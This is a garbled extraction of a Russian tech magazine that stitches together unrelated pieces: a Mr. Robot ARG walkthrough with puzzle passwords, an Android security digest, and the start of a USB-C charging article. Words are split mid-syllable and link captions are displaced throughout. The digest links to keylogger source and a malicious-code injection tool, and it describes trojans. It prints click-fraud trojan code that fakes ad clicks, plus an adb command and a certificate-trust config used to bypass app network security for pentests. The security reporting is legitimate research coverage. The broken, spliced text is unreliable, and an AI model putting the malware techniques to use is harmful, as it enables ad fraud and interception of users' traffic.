
Ес ли  ты  хочешь  удов летво рить  любопытс тво,  не  решая  задания, можешь
пос мотреть  все  под робнос ти  в  .  Кста ти,  соз датели  сери ала
поза имс тво вали  задач ку  на  нас тоящем  CTF,  так  что  по  ней  есть 

.

тре де  на  Reddit
це лых  три

рай тапа

АДДОН РАЗДОРА
Как извес тно, мно гие инте рес ные вещи в «Мис тере Роботе» про исхо дят не во
вре мя выхода новых серий,  а меж ду сезона ми. Нап ример, опи сан ные выше
события на двух «Комик‐Конах» пред шес тво вали треть ему сезону. Пос ле его
окон чания тоже появи лось кое‐что инте рес ное. На этот раз, прав да, не обош‐ 
лось без скан дала.

В  середи не  декаб ря  2017  года  мно гие  поль зовате ли  бра узе ра  Firefox
обна ружи ли,  что  у  них  уста нов лен  и  акти виро ван  аддон  .
Его  опи сание  в  тот  момент  зву чало  не  очень‐то  убе дитель но:  «Моя  реаль‐ 
ность отли чает ся от тво ей» заг лавны ми бук вами.

Looking Glass  1.0.3

Вне зап ное  появ ление  неиз вес тно го  аддо на  успе ло  выз вать  неболь шой
перепо лох  —  пока  не  выяс нилось,  что  это  про моушен  «Мис тера  Робота»
и рас ширение, по сути, без вред но. Все,  что оно дела ет, — добав ляет свою
стро ку в заголо вок HTTP на двух сай тах (red‐wheelbarrow.com, а имен но 

  и  ),  а  так же  средс тва ми  CSS  зас тавля‐ 
ет  72  сло ва  из  спис ка  вре мя  от  вре мени  вра щать ся  вок руг  горизон таль ной
оси (спи сок  ).

раз‐ 
дел  For  Kids whatismybrowser.com

есть в исходни ках
Вско ре  пос ледова ли    в  адрес  Mozilla:  зачем,  мол,

под совыва ете нам рек ламу? Что бы такого не пов торялось, нуж но вык лючить
Firefox Studies в нас трой ках. Но нам сей час инте рес но дру гое:  что меня ется
на сай те «Крас ной тач ки», если смот реть с аддо ном?

не доволь ные  выпады

На пер вый взгляд — ничего.

Но  если  открыть  пер вый  лис ток  (в  рес торанах  такими  шту ками  раз вле кают
детей,  что бы  взрос лые мог ли  спо кой но поесть),  то  в  гла за могут бро сить ся
некото рые отли чия — нап ример, цвет фут болки маль чика в ниж нем углу изме‐ 
нил ся. А на пла кате чуть выше — самое инте рес ное, дво ичный код.

Все го  есть  три  вари анта  этой  кар тинки:  для  Firefox  с  активным  пла гином,
для Firefox без пла гина и для дру гих бра узе ров. Если сло жить все  три час ти
и сна чала перевес ти коды в десятич ную сис тему, а затем под ста вить вмес то
чисел  бук вы  с  соот ветс тву ющим  поряд ковым  номером  в  алфа вите,  то
получат ся сло ва REINDEERFLOTILLA. Это не прос то отсылка к филь му Tron —
эти сло ва еще при годят ся.

ИГРА ПРОДОЛЖАЕТСЯ!
Раз дел DA_remote на   хра нит один важ ный сек рет. Заходим
туда  (пароль  —  CATOPTRIC).  В  пап ке  Documents  есть  файл  epilogue.docx
с кон цовкой «Пляж ного полотен ца». Здесь инте ресен самый конец, где упо‐ 
мяну та семафор ная азбу ка и осо бо выделе но сло во destiny («судь ба»).

whoismrrobot.com

Ес ли  открыть  тер минал  и  ввес ти    (это,  кста ти,  единс твен ная
работа ющая  коман да),  то  нас  переки нет  на  сайт  «Крас ной  тач ки»,  но  не
на глав ную, а на стра ницу с огромны ми часами.

destiny

Иг роки,  немало  попотев,  догада лись  сна чала  записать  destiny  на  язы ке
семафо ров,  а  затем  при нять  положе ние  фла гов  в  каж дой  бук ве  за  стрел ки
часов.  Получен ные  зна чения  вре мени  вво дим  на  часах,  каж дый  раз  под‐ 
тверждая кноп кой Set, и смот рим зас тавку.

В кон це нас воз вра щает на глав ную стра ницу, но теперь есть видимое отли‐ 
чие: мы как бы залоги нены. «Как бы», потому что если нажать на появив шуюся
кноп ку  Network  Map,  то  все  рав но  спро сят  пароль  поль зовате ля  admin.
Хорошая  новость  зак люча ется  в  том,  что  мы  его  уже  зна ем,  —
это REINDEERFLOTILLA.

Те перь перед нами кар та сети Red Wheelbarrow. Нажать здесь ничего нель зя,
зато  мож но  под метить,  что  фай рвол  под писан  как  .  Отлично!
Перехо дим на   и видим оче ред ную фор му логина.

/vincent
red‐wheelbarrow.com/vincent

Са мым  пыт ливым  игро кам  уже  уда лось  подоб рать  логин  и  пароль.  Под‐ 
сказ ки  к  ним  скры вают ся  на  неп римет ной  стра нице  с  лицен зией.  В  замыс‐ 
ловатом юри дичес ком тек сте спря таны отсылки к филь му 1979 года «Чер ная
дыра», намек на цитату из Цицеро на, которая была исполь зована в филь ме,
и даже на то, как имен но ее вво дить, — строч ными бук вами без про белов.

логин: cicero
пароль: rashnessisthecharacteristicofyouthprudencethatofmellowedagea
nddiscretionthebetterpartofvalor

Од нако  ока зыва ется,  что  глав ное  пред назна чение  это го  сай та  —  дос туп
к  дру гим  запаро лен ным  ресур сам:  IDS,  Proxy,  DHCP/RTR  и  Honeypot  (о,
как мно го хакеров ему пред сто ит соб рать!). Отту да, судя по кар те сети, мож‐ 
но проб рать ся к четырем базам дан ных, поч товому и веб‐сер веру, трем ноут‐ 
букам и FTP. Как это сде лать? Где искать пароли? Пока что ник то не догадал‐ 
ся, так что у тебя есть шанс стать пер вым.

Од на ого вор ка: навер няка вско ре пос ле пуб ликации статьи (а то и до нее)
най дут ся  новые  зацеп ки.  Так  что  преж де,  чем  брать ся  за  самос тоятель ное
рас сле дова ние, не забудь про верить, как идут дела у сооб щес тва. Успешных
поис ков!

WWW

•Под реддит, пос вящен ный сери алу
•Под реддит,  коор диниру ющий  раз гадыва ние
задачек ARG

•Пост со все ми акту аль ными наход ками
•Ви ки, где тоже собира ют информа цию о зацеп‐ 
ках

•Под робнос ти об акту аль ных загад ках
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Се год ня в выпус ке: уни вер саль ные про шив ки Android 8, мно‐ 
гого ловые  тро яны  и  чат‐боты,  клик боты,  экс плу ата ция  уве‐ 
дом лений  Android,  взлом  при ложе ний  через  доверен ные
ком понен ты  и,  конеч но  же,  малень кий  сетевой  пен тест  —
как  зас тавить  при ложе ния  доверять  нам.  Кодинг  тоже
не забыли: советы, биб лиоте ки и Kotlin, мы любим его.

ПОЛЕЗНОЕ
 — исходни ки одной из атак клас са Cloak & Dagger over‐

lay. Это keylogger, реали зован ный с помощью SYSTEM_ALERT_WINDOW;
• Cloak‐And‐Dagger

 — набор автор ских скрип тов для  IDA Pro, Frida, Burp Suite
и 010 Editor;

• personal_script

 — набор скрип тов для про вер ки устрой ств и точек дос‐ 
тупа на уяз вимость KRACK;

• krackattacks‐scripts

 —  инс тру мент  для  внед рения  злов редно го  кода  в  при ложе ния
под Android;

• Evil‐Droid

  —  инс тру мент  ана лиза  мал вари,  прив лека ющий  мно жес тво
раз личных инс тру мен тов для раз бора APK.

• Droidefense

Droidefense

ПОЧИТАТЬ
Project Treble и раз витие ядра Linux

 — инте рес ная исто рия о том, как Google с помощью Android меня ет всю
эко сис тему Linux и осно ван ных на нем устрой ств.

Project Treble Brings Extended Linux Kernel Security Support to Combat Fragmen‐
tation

Суть в том, что у ядра Linux есть спе циаль ные LTS‐вер сии, срок под дер жки
которых сос тавля ет два года. Новой фун кци ональ нос ти в них не появ ляет ся,
но баги про дол жают исправ лять ся. Эти LTS‐вер сии исполь зуют раз работ чики
сер верных дис три бути вов Linux (потому что боль шое обновле ние ядра может
что‐то  сло мать),  а  так же  про изво дите ли  Android‐устрой ств,  а  точ нее  SoC
(потому  что  пор тировать  новую  вер сию  ядра  на  SoC  —  не  самая  прос тая
задача).

Так  вот, Google догово рилась с  Linux Foundation о  том,  что бы под дер жка
LTS‐вер сий ядра про дол жалась не два года, а целых шесть лет. Это озна чает,
что мы можем рас счи тывать на луч шую под дер жку устрой ств со сто роны про‐ 
изво дите лей (теперь им не при дет ся самим исправ лять ошиб ки в уже не под‐ 
держи ваемых  LTS‐ядрах),  а  так же  под дер жку  дру гой  тех ники,  осно ван ной
на  Linux  (роуте ры,  лам почки  и  про чий  IoT).  Ну  и  конеч но  же,  это  очень
хороший знак для раз работ чиков сер верных редак ций дис три бути вов Linux.

Уни вер саль ные про шив ки Android 8

 — инте рес ная статья о  том, нас коль ко Project Treble  упро щает пор‐ 
тирова ние про шивок на устрой ство.

A Revolution in Custom ROMs: How Project Treble makes Porting Android Oreo a 1
Day Job

На пом ню,  что  Project  Treble  —  это  ини циати ва  Google,  приз ванная  уни‐ 
фици ровать внут ренние ком понен ты Android, которая дол жна чет ко раз делить
ОС на две незави симые час ти:  одна будет  вклю чать  в  себя ядро, драй веры
и дру гие ком понен ты, необ ходимые для под дер жки железа, а вто рая — сам
Android.

Идея в том, что интерфейс меж ду эти ми дву мя час тями дол жен быть жес‐ 
тко опре делен и не изме нять ся со вре менем. Это поз волит гораз до быс трее
пор тировать  новые  вер сии  Android  на  ста рые  устрой ства:  в  теории  ничего
даже  не  нуж но  пор тировать,  дос таточ но  взять  образ  новой  вер сии  Android
и про шить его на устрой ство.

До прак тики же дело пока не дош ло — наработ ки Treble  впер вые появи‐ 
лись  в Android  8,  пос ледней  вер сии ОС на дан ный момент. Зато  на Android
8  работа ет  уже  нес коль ко  раз ных  смар тфо нов  с  силь но  отли чающи мися
сбор ками  Android.  Что,  если  прос то  взять  Android  с  одно го  смар тфо на
и запус тить его на дру гом? Поможет ли Treble здесь?

Как ока залось — да. Поль зователь phhusson с форумов XDA за двад цать
часов  соз дал  образ  Android,  который  мож но  без  вся ких  модифи каций  заг‐ 
рузить на раз ных устрой ствах: Huawei Mate 9, 8 Pro, Honor 9, Sony Xperia XZ1
Compact и Essential Phone (три раз ных про изво дите ля и два раз ных чип сета:
HiSilicon Kirin 960 и Qualcomm Snapdragon 835).

Это  озна чает,  что  в  будущем  вмес то  огромно го  количес тва  сбо рок
какой‐либо  кас томной  про шив ки  Android  для  каж дого  устрой ства  (каж дая
из которых тре бует десят ков часов для пор тирова ния) мы уви дим одну общую
про шив ку, которую мож но будет уста новить на любой смар тфон. Неч то срод‐ 
ни Linux или Windows: ска чал с сай та и уста новил на любой смар тфон.

Мно гого ловый тро ян в Google Play
 — раз бор  тро яна Android/Trojan‐

Dropper.Agent.BKY, исполь зующе го тех нику скры тия от анти виру сов и сис тем
безопас ности Google Play с помощью раз деления на нес коль ко ста дий.

Multi‐stage malware  sneaks  into Google  Play

Сра зу пос ле запус ка тро ян незамет но для поль зовате ля рас шифро выва ет,
извле кает и запус кает свою пер вую ста дию, которая затем рас шифро выва ет
и запус кает вто рую. Она, в свою оче редь, ска чива ет новое при ложе ние с ука‐ 
зан ного URL  и  ини циирует  уста нов ку.  Если  поль зователь  сог лаша ется  уста‐ 
новить  и  запус тить  APK  (который  выда ет  себя  за  Adobe  Flash  Player),  рас‐ 
шифро выва ется и запус кает ся чет вертая ста дия.

Чет вертая  ста дия  пред став ляет  собой  клас сичес кий  бан ков ский  тро ян,
который  выводит  на  экран  окна  овер леи  с  целью  похитить  учет ные  дан ные
поль зовате лей.

Ин терес но,  что  бла года ря  тому,  что  для  ска чива ния  чет вертой  ста дии
исполь зует ся bit.ly, иссле дова телям уда лось узнать, сколь ко все го было обра‐ 
щений по этой ссыл ке, — око ло 3000.

Че тыре ста дии тро яна

Клик боты для Android
 — боль шая статья

о  click  fraud  в  сре де  Android,  а  если  точ‐ 
нее  —  о  злов редных  при ложе ниях,
заража ющих смар тфо ны, что бы незамет но
для  поль зовате ля  кли кать  по  рек ламе.
Статья  рас смат рива ет  два  типа  подоб ных
при ложе ний:  те,  что  исполь зуют  сер висы
Accessibility  для  получе ния  воз можнос ти
нажимать  любые  эле мен ты  интерфей са,
и  те,  что  исполь зуют  API 

,  поз воля ющий  при‐ 
ложе нию  «клик нуть»  на  свои  собс твен ные
эле мен ты, то есть на рек ламу, которую оно
само же показы вает.

Clicking Bot Applications

ViewGroup.dis‐
patchTouchEvent

Вто рой  тип  наибо лее  прос той  и  при‐ 
митив ный.  Рек ламная  сеть  может  лег ко
отсле дить его, прос то ана лизи руя, с какой
пери одич ностью дела ются кли ки, по каким
час тям объ явле ния,  а  так же  как они  «выг‐ 
лядят»:  дав ление,  пло щадь,  дли тель ность
нажатия и так далее.

При ложе ние,  в  свою  оче редь,  может
поп робовать  обма нуть  рек ламную  сеть:
сох ранить парамет ры пос ледне го нажатия

поль зовате ля и при менить их для нажатия по рек ламе плюс раз бро сать вре‐ 
мя  нажатий.  Кро ме  того,  при ложе ние  может  выбирать,  с  какой  рек ламной
сетью работать, а какую луч ше оста вить в покое.

При мер  получе ния  информа ции  о  кли ке  поль зовате ля  в  тро яне
com.life.read.physical.trian:

public class MainActivity extends SlidingFragmentActivity implements 
View.OnClickListener, View.OnTouchListener {
   public boolean onTouch(View view, MotionEvent motionEvent) {
       if(motionEvent.getAction() == 0) {
           ClickSimulator.getMotionEventInfo(((Context)this), motion
Event);
       }
       return 0;
   }
   public class MotionEventInfo {
       public static MotionEventInfo setInfo(String name) {
           MotionEventInfo options;
           try {
               options = new MotionEventInfo();
               JSONObject JSON_Obj = new JSONObject(name);
               options.deviceId = JSON_Obj.optInt("de");
               options.pressure = JSON_Obj.optDouble("pr");
               options.size = JSON_Obj.optDouble("si");
               options.xprecision = JSON_Obj.optDouble("xp");
               options.yprecision = JSON_Obj.optDouble("yp");
               options.metaState = JSON_Obj.optInt("me");
               options.edgeFlags = JSON_Obj.optInt("ed");
           }
           catch(Exception ex) {
               options = null;
           }
           return options;
       }
   }
}

Пер вый  тип  click  fraud  при ложе ний  исполь зует  сер вис  Accessibility,  который
поз воля ет изу чать и нажимать на прак тичес ки любые час ти любых при ложе‐ 
ний и самой сис темы. Такие при ложе ния так же могут при носить хозя ину при‐ 
быль за счет уста нов ки рек ламиру емых при ложе ний (installation fraud).

Од нако  у  таких  клик ботов  есть  недос таток:  они  дол жны  либо  каким‐то
обра зом  зас тавить  поль зовате ля  вклю чить  свой  сер вис  Accessibility,  либо
исполь зовать ата ку Cloak & Dagger, что бы вклю чить его незамет но. К счастью,
нем ногие раз работ чики злов редов зна ют, как реали зовать эту ата ку.

Мал варь, исполь зующая Toast-овер леи
 — рас сказ о мал‐ 

вари  ANDROIDOS_TOASTAMIGO,  пер вом  тро яне,  исполь зующем  ата ку  Toast
overlay для незамет ной поль зовате лю уста нов ки при ложе ний на смар тфон.

Toast Overlay Weaponized  to  Install Several Android Malware

Toast  overlay  —  ата ка,  экс плу ати рующая  очень  стран ную  уяз вимость  An‐
droid, которая поз воля ет засунуть пол ноэк ранное окно в малень кое информа‐ 
цион ное окош ко, пред назна чен ное для вывода информа цион ных сооб щений.
Тро ян исполь зует такое окно, что бы перек рыть экран, а в это вре мя открыть
нас трой ки и зас тавить поль зовате ля нажать на опре делен ные мес та (нажатие
будет  про ходить  «сквозь»  окно),  акти вируя  таким  обра зом  сер вис
Accessibility.

За тем, исполь зуя ана логич ный трюк, тро ян вклю чает опцию, поз воля ющую
инстал лировать  при ложе ния  из  сто рон них  источни ков,  ска чива ет  и  уста нав‐ 
лива ет  на  смар тфон  дру гой  злов ред  и  завер шает  анти виру сы.  Ска чан ный
злов ред,  в  свою  оче редь,  пред став ляет  собой  клик бот.  Инте рес но,  что  он
уме ет  уста нав ливать  соеди нение  с  прок си‐сер вером,  что бы  обой ти  реги‐ 
ональ ные огра ниче ния на дос тупность рек ламных сетей AdMob и Facebook.

Сто ит отме тить, что уяз вимость Toast overlay была исправ лена в сен тябрь‐ 
ском обновле нии Android.

Прин цип работы ата ки Toast overlay

Взлом при ложе ний через экспор тирован ные ком понен ты
  —  хорошая  ввод ная

статья  о  том,  как  взла мывать  при ложе ния  для  Android  с  помощью  тор чащих
наружу  ком понен тов  при ложе ния:  активнос тей,  сер висов,  intent‐ресиве ров,
content‐про вай деров.

Hack  Android  Application  Through  Exposed  Components

Статья  объ ясня ет  наз начение  каж дого  ком понен та,  а  затем  на  при мере
  показы вает,  как  рас потро шить  при ложе ние

с  помощью  apktool,  а  затем  исполь зовать  инс тру мент  ,  что бы  най ти
экспор тирован ные ком понен ты.

уяз вимого  при ложе ния
Drozer

Один из при меров — запуск скры той активнос ти нап рямую, что бы уви деть
спи сок сох ранен ных при ложе ний:

adb shell am start ‐n <package_name>/<activity_name>

Ис сле дова ние внут ренней струк туры бэкапов iOS
 —  иссле дова ние фор мата  бэкапов  iOS.

Никаких  откро вений,  прос то  спи сок  фай лов,  их  содер жимое  и  наз начение.
Мож но добавить в зак ладки и откры вать в слу чае необ ходимос ти.

Reverse  Engineering  the  iOS Backup

Спой лер: фак тичес ки  весь  бэкап  сос тоит  из  чита емых  с  помощью обыч‐ 
ного  редак тора  фай лов  .plist  и  баз  дан ных  SQLite,  которые  мож но  прос‐ 
мотреть с помощью любого менед жера БД.

Как зас тавить при ложе ния доверять левым сер тифика там
 — как обой ти дефол товый

сетевой security‐кон фиг при ложе ния, что бы выпол нить пен тест.
Bypassing Android’s Network Security Configuration

В Android 7 появил ся механизм, наз ванный Network Security Configuration.
Он  поз воля ет  прог раммис там  изме нять  нас трой ки  безопас ности  под клю‐ 
чения  к  сети  через  спе циаль ный  XML‐файл  внут ри  APK.  Этот  же  механизм
зас тавля ет все при ложе ния, соб ранные для Android 7 и выше, доверять толь‐ 
ко сис темным сер тифика там и, как следс твие, не поз воля ет под сунуть собс‐ 
твен ный сер тификат, что бы выпол нить ана лиз тра фика.

Ав тор статьи пред лага ет два вари анта решения этой проб лемы: пересоб‐ 
рать при ложе ние, добавив в него собс твен ный  security‐кон фиг,  или исполь‐ 
зовать Frida, что бы на лету модифи циро вать поведе ние Android в отно шении
дан ного  при ложе ния.  Пер вый  спо соб  нам ного  про ще,  но  он  не  подой дет,
если  необ ходимо  сох ранить  ори гиналь ную  циф ровую  под пись  при ложе ния
(нап ример,  в  слу чае,  ког да  два  при ложе ния  исполь зуют  один  при ват ный
каталог).

Кон фиг, зас тавля ющий при ложе ние доверять уста нов ленным поль зовате‐ 
лем сер тифика там:

<?xml version="1.0" encoding="utf‐8"?>
<network‐security‐config>
   <base‐config>
       <trust‐anchors>
           <certificates src="system"/>
           <certificates src="user"/>
       </trust‐anchors>
   </base‐config>
</network‐security‐config>

ARM Cheatsheet

СКАЧАТЬ
  —  сбор ка  LineageOS  (кас томной  про шив ки  Android)

со встро енны ми сер висами microG и мар кетом  . Инте рес на она  тем,
что поз воля ет получить дос туп к сер висам Google, не уста нав ливая на смар‐ 
тфон сами сер висы Google.

LineageOS  for  microG
F‐Droid

За чем это нуж но? Все прос то: если  ты прошь ешь на смар тфон стан дар‐ 
тную  сбор ку  LineageOS,  у  тебя  не  будет  дос тупа  ни  к  мар кету,  ни  к  кар там
Google,  а  при ложе ния  не  смо гут  получать  push‐уве дом ления.  Что бы  все
это зарабо тало, нуж но уста новить так называ емый пакет  , содер жащий
сер висы Google.

GApps

Проб лема  в  том,  что  даже  минималь ный  вари ант  GApps  весит  боль‐ 
ше 120 Мбайт, а пол ный — более 700 Мбайт. Так же сер висы Google из GApps
сла вят ся сво ей любовью к опе ратив ке и заряду батареи. А еще они зак рыты,
то есть о том, что они могут делать, зна ет толь ко сама Google.

MicroG, с дру гой сто роны, откры ты, весят все го четыре мега, не выжира ют
батарею и поч ти ничего не занима ют в памяти. Говорят, что на microG мож но
запус тить даже Play Мар кет, но эту информа цию я не про верял.

ПРОГРАММИРОВАНИЕ
Google и Kotlin

 — Google отчи талась о трех важ ных вещах, свя зан‐ 
ных с Kotlin.
Update on Kotlin for Android

1. Они под готови ли   по сти лю кодиро вания на Kotlin. Ничего осо бо при‐ 
меча тель ного в нем нет, поч ти такие же рекомен дации, как в слу чае с Java:
всег да  исполь зовать  фигур ные  скоб ки  в  if,  ста вить  про бел  пос ле  if,  for
и catch, не раз делять про белом имя объ екта и метода и тому подоб ное.

гайд

2. Они   некото рые свои при меры при ложе ний на Kotlin.пор тирова ли
3. До бави ли  null‐анно тации  в  27‐ю  вер сию  Support  Library.  Так  что  теперь
Kotlin‐прог раммис ты  будут  знать,  явля ется  ли  зна чение,  воз вра щаемое
стан дар тны ми биб лиоте ками Google, nullable или нет.

Не оче вид ные воз можнос ти Kotlin
 — оче ред ная под борка инте рес ных, но неоче вид ных воз‐ 

можнос тей Kotlin. О некото рых из них мы уже рас ска зыва ли в прош лом выпус‐ 
ке: о локаль ных, инфик сных, инлай новых фун кци ях, мет ках return. Из нового:

Advanced Kotlin tips

• Клю чевое  сло во    —  поз воля ет  ука зать  ком пилято ру,  что  сле‐ 
дующая  фун кция  вызыва ет  себя  и  толь ко  себя  (дру гими  сло вами,  она
рекур сивная). Это поз воля ет при менить опти миза ции, заменя ющие вызов
метода на цикл:

tilerec

tailrec fun findFixPoint(x: Double = 1.0): Double         
        = if (x == Math.cos(x)) x else findFixPoint(Math.cos(x))

• Пе рег рузка опе рато ров. Без ком мента риев:

operator fun plus(time: Time) {
    ...
}
time1 + time2 

Прос тые советы по написа нию луч шего кода
  —  четыре  край не  прос тых,

но дей ствен ных совета.
Simple  but  painful  steps  for  writing  a  better  code

. Нап ример, класс ниже невоз можно тес тировать:
Со вет пер вый: прек рати соз давать объ екты внут ри под собных

клас сов

class VehiclesManager(val context: Context) {
   fun getVehiclesNextToMe(): List<Vehicle> {
       val api = VehiclesRetrofitApi(context)
       val currentLocation = LocationProvider.currentLocation()
       return api.getVehicles()
           .filter { it.coordinates.distanceTo(currentLocation) < 
100 }
   }
}

Ему не нужен Context (ему нужен объ ект клас са VehiclesRetrofitApi). Он намер‐ 
тво при вязан к биб лиоте ке Retrofit. Пра виль ный вари ант:

class VehiclesManager(val vehiclesApi: VehiclesRetrofitApi) {
   fun getVehiclesNextToMe(): List<Vehicle> {
       val currentLocation = LocationProvider.currentLocation()
       return vehiclesApi.getVehicles()
           .filter { it.coordinates.distanceTo(currentLocation) < 
100 }
   }
}

  Переда вай  их
как параметр конс трук торам клас сов.

Со вет  вто рой:  не  вызывай  синг лто ны  нап рямую.

  Такие  сло ва  в  име нах  не  несут  никако го
смыс ла, без них имя клас са будет более понят ным.

Со вет  тре тий: перес тань называть свои клас сы Manager, Han-

dler,  Controller  и  Processor.

Во мно гих слу чаях это дела ет код менее чита емым и понят ным.
Со вет  чет вертый:  перес тань  пло дить  клас сы‑нас ледни ки.

10 биб лиотек, которые сле дует обя затель но поп робовать
. Чес тно говоря, эту статью

надо  видеть  вжи вую,  нас лажда ясь  прек расны ми  ани миро ван ными  скрин‐ 
шотами, но все‐таки сде лаем неболь шую выжим ку:

10 Awesome Android libraries you definitely want to try

1.   — биб лиоте ка получа ет на вход ани мацию в фор мате Adobe After Ef‐
fects и рен дерит ее с помощью стан дар тных механиз мов Android.
Lottie

2.    —  биб лиоте ка  для  показа  кас томизи руемых  Toast‐сооб‐ 
щений.
StyleableToast

3.   — смесь TabLayout и CoordinatorLayout.CoordinatorTabLayout
4.   — эффек тный экран «Обо мне».Material About
5.   —  боковое  меню  (drawer)  с  инте рес ным  эффектом  появ‐ 
ления.
SlidingRootNav

6.   — ViewPager с эффектом перек лючения View.InfiniteCycleViewPager
7.    —  еще  один  ViewPager  с  раз личны ми  эффекта ми  перек‐ 
лючения.
JazzyViewPager

8.   — боковое меню для выбора катего рий.Side‐Menu.Android
9.   — ActionBar + Drawer с кра сивы ми эффекта ми.AwesomeBar
10.    —  RecyclerView  с  показом  заг рузки  эле мен тов

с помощью эффекта мер цания.
ShimmerRecyclerView

За виси мость количес тва уста новок от раз мера при ложе ния
  —  инте рес ное  иссле дова ние,  пос вящен ное

вли янию  раз мера  при ложе ния  на  желание  поль зовате лей  его  уста новить.
Авто ры  выяс нили,  что  каж дое  уве личе ние  раз мера  на  6  Мбайт  ведет
к падению количес тва уста новок на 1%. При чем в 30% слу чаев (для при ложе‐ 
ния раз мером 100 Мбайт) не отка зыва ются от уста нов ки как таковой, а отме‐ 
няют уже начав шуюся уста нов ку.

Shrinking  APKs,  growing  installs

В пер вую оче редь такие резуль таты свя заны с недос тупностью качес твен‐ 
ного интерне та во мно гих мес тах пла неты. Нап ример, в Индии и Индо незии
толь ко 50% поль зовате лей смар тфо нов име ют дос туп к Wi‐Fi. В афри кан ских
стра нах еще мень ше.

За виси мость желания уста новить при ложе ние от сни жения раз мера APK
на 10 Мбайт

Ис тория изме нений Android 4.0–8.1
 — огромный нас тенный пос тер с исто рией изме нений An‐

droid  SDK  14–27.  Смот реть  в  онлай не  бес полез но,  необ ходимо  рас печаты‐ 
вать PDF и вешать на сте ну. Раз меры: A0 и A1.

AndroidSDKPoster

Биб лиоте ки
  —  прос тая  Kotlin‐биб лиоте ка,  поз воля ющая  писать 

вмес то  , а так же  ,   и так далее;
• Time 10.seconds

10 * 1000 10.hours 5.minutes

 — HTTP‐биб лиоте ка  с  воз можностью  кеширо вания  JSON и изоб‐ 
ражений, отме ной заг рузки или выг рузки изоб ражений;

• DownZ

  —  лей аут,  соз дающий  эффект  волн  на  воде  при  при кос‐ 
новении к любой сво ей час ти;

• RippleLayout

 — более быс трый и гиб кий ана лог TextView;• FastTextView
 — набор фун кций рас ширений для более эффектив ного

прог рамми рова ния на Kotlin;
• android‐extensions

  —  кра сивое  прек расно  ани миро ван ное  кру говое
меню;

• circle‐menu‐android

 — ани миро ван ные кру говые диало ги;• CircularDialogs
  —  быс трая  эффектив ная  биб лиоте ка  сери али зации  объ ектов

(автор — Twitter);
• Serial

  —  заг рузчик  фай лов  с  фун кци ями  паузы,  возоб новле ния
и одновре мен ной заг рузки.

• PRDownloader
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Иног да  слож ные  вещи  начина ются  с  прос тых:  план шет
iPad Pro 10.5 вдруг перес тал заряжать ся от сто рон него бло ка
питания  с  под дер жкой  стан дарта  USB  PD.  Иссле дова ние
это го малень кого инци ден та при вело меня в мир хаоса, где
Apple  пол ностью  сле дует  стан дартам,  но  весь ма  хит рыми
спо соба ми дела ет это так, что устрой ства и перифе рия час‐ 
то несов мести мы даже меж ду раз ными моделя ми устрой ств
самой ком пании.

На чалось все с того, что с оче ред ным обновле нием iOS от сто рон них бло ков
с  выходом  USB‐C  и  под дер жкой  Power  Delivery  перес тал  заряжать ся
iPad Pro 10.5. Рань ше работа ло, потом — перес тало; так быва ет. Пос ле появ‐ 
ления  iOS  11.2  план шет  вновь  обрел  воз можность  заряжать ся  от  сто рон них
бло ков с выходом USB‐C, но работа ет про цесс через раз, а ско рость заряда
оставля ет желать луч шего.

Прос тей шая ситу ация, которую мож но испра вить заменой бло ка питания?
Не выш ло: ни один из сто рон них адап теров, выпол ненных по стан дарту USB
Power Delivery,  не  смог  быс тро,  а  глав ное  ста биль но,  а  не  через  раз,  спра‐ 
вить ся  со  сво ей  задачей.  Неуже ли  все  сто рон ние  про изво дите ли,  вклю чая
небезыз вес тную Delta  (меж ду про чим, некото рые модели зарядок для Apple
выпус кает  имен но  она,  а  бло ки  питания  собс твен ной  раз работ ки  про дает
под  тор говой  мар кой  Innergie),  так  гру бо  наруша ют  стан дарт  USB  Power
Delivery?

Все ока залось слож нее.
Нем ного  пре дыс тории.  В  пре дыду щем  матери але  на  тему  заряд ных

устрой ств мы при води ли ссыл ку на инже нера Google Бен сона Люня, который
на  доб роволь ных  началах  взял ся  за  тес тирова ние  кабелей  и  заряд ных
устрой ств стан дарта USB‐C. Все закон чилось тем, что оче ред ной кабель сжег
хром бук  Бен сона.  На  сме ну  Бен сону  Люню  при шел  дру гой  инже нер
из  Google —  Nathan  K.,  который  с  энту зиаз мом  при нял ся  за  тес тирова ние.

.Его стра ница в Google Plus
На тан  тес тиру ет  заряд ки  и  про вода  USB‐C.  Забегая  впе ред,  ска жу,  что

Натан  тоже  сжег  свой  компь ютер —  как  и  Бен сон  в  свое  вре мя  Pixelbook.
Из  нес коль ких  десят ков  про тес тирован ных  устрой ств  соот ветс тву ющи ми
стан дартам ока зались бук валь но два или три, вклю чая одну доволь но ста рую
заряд ку Innergie (Delta).

WWW

Ин тересу ющих ся  тех ничес кими  деталя ми  отсы‐ 
лаем  на  стра ницы  с  ори гиналь ными  пос тинга ми
Nathan K.:   и  .раз два

Ито ги  иссле дова ния  Натана:  пло хо  —  бук валь но  всё.  Все  сущес тву ющие
заряд ки  (кро ме  Google),  всё,  что  сде лала  Apple  (ассо циация  USB‐IF  будет
зап рещать  ЗУ  Apple  начиная  с  1  янва ря  2018  года),  все воз можные  Aukey...
Вот Qualcomm,  как  ни  стран но,  со  сво им Quick Charge  4.0  уга дала:  их  пока
не зап реща ют  (ско рее все го, потому, что их прос то нет на рын ке). Зато все
без  исклю чения  ЗУ  с  выходом  USB‐C  и  с  под дер жкой  пре дыду щей  вер сии
Quick Charge 3.0 — офи циаль ные наруши тели.

Apple has until Jan 1 2018 to stop supporting their previously allowed by
4.8.2 charging methods in their Macs and i-Devices, and until Jan 1 2019
to stop supporting it for their new chargers. As for QC 2 and 3, those were
never allowed to begin with on a Type-C connector  if  they changed volt-
age to beyond default usb levels.

В этот момент у меня начало зак радывать ся подоз рение, что это не про изво‐ 
дите ли такие, а стан дарт такой. За все вре мя сущес тво вания Qualcomm Quick
Charge 2.0 и 3.0 я ни разу не слы шал о слу чаях сис темати чес кой несов мести‐ 
мос ти заряд ных и заряжа емых устрой ств. Что бы заряд ка QC 3.0 не работа ла
со  смар тфо ном QC  2.0  или  3.0?  Не  было  такого,  раз ве  что  воз можен  брак
в отдель ном устрой стве. Дру гое дело, что Quick Charge доволь но пло хо мас‐ 
шта биру ется на компь юте ры и ноут буки...

А что же Apple, учас тник кон сорци ума USB‐IF и один из родона чаль ников
как  стан дарта  USB‐C,  так  и  про токо ла  Power  Delivery?  Почему  iPad  Pro
10.5 не заряжа ется от сто рон них заряд ных устрой ств с выходом USB‐C, хотя,
по идее, дол жен?

От вет  здесь  слож нее,  чем  кажет ся.  Пос мотрим  вни матель но  на  блок
питания на 29 Вт, который нам пред лага ет сама ком пания Apple.

Этот блок — безумие сра зу с нес коль ких точек зре ния. Положи тель ные сто‐ 
